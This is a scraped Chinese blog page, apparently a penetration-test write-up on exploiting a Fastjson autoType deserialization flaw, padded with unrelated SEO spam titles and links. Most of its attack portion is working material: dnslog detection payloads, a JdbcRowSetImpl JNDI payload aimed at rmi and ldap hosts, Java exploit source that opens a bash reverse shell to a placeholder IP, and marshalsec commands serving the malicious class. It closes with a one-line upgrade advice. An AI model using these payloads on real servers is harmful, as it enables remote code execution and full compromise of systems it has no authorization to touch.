当前位置: 首页 > news >正文

php做网站需要的软件原神是哪家公司开发的

php做网站需要的软件,原神是哪家公司开发的,wordpress mc,市场营销证书含金量漏洞介绍 FastJson在解析json的过程中#xff0c;支持使用autoType来实例化某一个具体的类#xff0c;并调用该类的set/get方法来访问属性。通过查找代码中相关的方法#xff0c;即可构造出一些恶意利用链。 通俗理解就是#xff1a;漏洞利用fastjson autotype在处理json对… 漏洞介绍 FastJson在解析json的过程中支持使用autoType来实例化某一个具体的类并调用该类的set/get方法来访问属性。通过查找代码中相关的方法即可构造出一些恶意利用链。 通俗理解就是漏洞利用fastjson autotype在处理json对象的时候未对type字段进行完全的安全性验证攻击者可以传入危险类并调用危险类连接远程rmi主机通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用获取服务器的敏感信息泄露甚至可以利用此漏洞进一步对服务器数据进行修改增加删除等操作对服务器造成巨大影响。 前言 以下为有授权测试未经授权千万不要触碰法律。 拿到项目后找到了一个后台登录的页面然后尝试弱口令yyds无果 抓包尝试是否存在注入这里看到是json请求就尝试去构造或者破坏原有的json请求从返回的数据包中可以看到有fastjson字样如果没有报错回显就使用dnslog进行验证后面会说到。 尝试是否存在fastjson反序列化漏洞构造以下payload看到了版本信息 Set[{type:java.net.URL,val:http://dnslog}] Set[{type:java.net.URL,val:http://dnslog}网上查了一下此版本存在漏洞 使用dnslog验证 payload {a:{type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl},b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:rmi://dnslog.cn/zcc,autoCommit:true} }验证成功说明存在漏洞这里也可以用到bp的插件fastjson scan 一键检测傻瓜操作github自行搜索一下 反弹shell  使用工具GitHub - mbechler/marshalsec vps下载完成后进入目录下进行编译 mvn clean package -DskipTests第一次自己进行编译这个过程中遇到了很多问题就不一一细说了如果遇到问题的小伙伴多看报错信息或者私信我也可以大佬无视。 编译完成生成了marshalsec-0.0.3-SNAPSHOT-all.jar 新开一个窗口监听端口 root目录下新建一个test.java文件里面写入EXP源代码 // bash -i /dev/tcp/xx.xx.xx.xx/6666 01 这里的ip是vps以及vps监听的端口6666 import java.lang.Runtime; import java.lang.Process;public class test {static {try {Runtime rt Runtime.getRuntime();String[] commands {bash, -c, bash -i /dev/tcp/xx.xx.xx.xx/6666 01};Process pc rt.exec(commands);pc.waitFor();} catch (Exception e) {// do nothing}} }javac编译生成test.class文件 再新建一个窗口启动http服务 python3 -m http.server 8445本地访问一下可以看到生成的class文件 vps启动LDAP服务监听1389端口并制定加载远程类 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://xx.xx.xx.xx:8445/#test 1389返回burp构造payload反弹shell可以看到已经是root权限 {a:{type:java.lang.Class,val:com.sun.rowset.JdbcRowSetImpl},b:{type:com.sun.rowset.JdbcRowSetImpl,dataSourceName:ldap://vps:9999/xxx,autoCommit:true} }fastjson指纹信息 A.抓包改为POST方式花括号不闭合返回包就会出现fastjson字样不过这个可以屏蔽就用其他办法B.利用dnslog盲打 1. 利用java.net.Inet[4|6]Address {type:java.net.Inet4Address,val:dnslog} {type:java.net.Inet6Address,val:dnslog} 2. 利用java.net.InetSocketAddress {type:java.net.InetSocketAddress{address:,val:dnslog}} 3. 利用java.net.URL {{type:java.net.URL,val:http://dnslog}:x} 4. 其他变形 {type:com.alibaba.fastjson.JSONObject,{type:java.net.URL,val:http://dnslog”}}} Set[{type:java.net.URL,val:http://dnslog}] Set[{type:java.net.URL,val:http://dnslog} {{type:java.net.URL,val:http://dnslog}:0 1.2.67版本前 {zeo:{type:java.net.Inet4Address,val:fatu5k.dnslog.cn}} 1.2.67版本后payload {type:java.net.Inet4Address,val:dnslog} {type:java.net.Inet6Address,val:dnslog}修复建议 升级到官方最新版本
http://www.yutouwan.com/news/288188/

相关文章:

  • 监控直播网站开发天津智能网站建设多少钱
  • 深圳前海网站设计如何引流被动加好友微信
  • 清欢互联网网站建设能自己制作图片的app
  • 网站规划建设网站图片居中代码
  • 南京做中英文网站新出的网络游戏排行榜
  • 湖南省建设厅假网站友情链接平台广告
  • 教育网网站建设规范简单的购物网站源码
  • 在线查询网站开发语言抖音搜索推广首选帝搜软件平台
  • 冶金建设网站网站删除代码
  • 广西网站建设营销公司wordpress改登录地址
  • 做网站计入什么科目做软件的全部步骤
  • 福州网站建设兼职德州 网站建设
  • 网站建设视频 备份 反代工信部网站备案修改
  • 本地怎样上传自己做的网站网站界面设计规划
  • 怎样注册网站免费的律师网站维护
  • 如何推广网站链接海外广告联盟平台推广
  • 建邺html5响应式网站十大品牌排行榜前十名
  • 那个网站可以学做西餐佛山营销型网站搭建
  • 大连优化网站建筑工程公司名字大全
  • 重庆建网站城选快忻科技悉心国家单位网站建设要多久
  • 郑州哪里培训网站建设优化好一点住房城乡建设部网站通报
  • 网站被攻击的方法班级网站建设方案
  • 个人网站建站的流程建设部网站公民服务
  • 人才网招聘找工作优化内容
  • wordpress减肥网站采集规则万网首页
  • 丹阳网站建设制作企业网站建设 管理 维护 请找
  • 选择做印象绍兴网站的原因可以做设计的网站
  • 网站设计公司哪家好1网站建设的目标是什么意思
  • j集团公司的网站建设找网站建设公司哪家最好
  • 996建站网站制作视频网站建设流程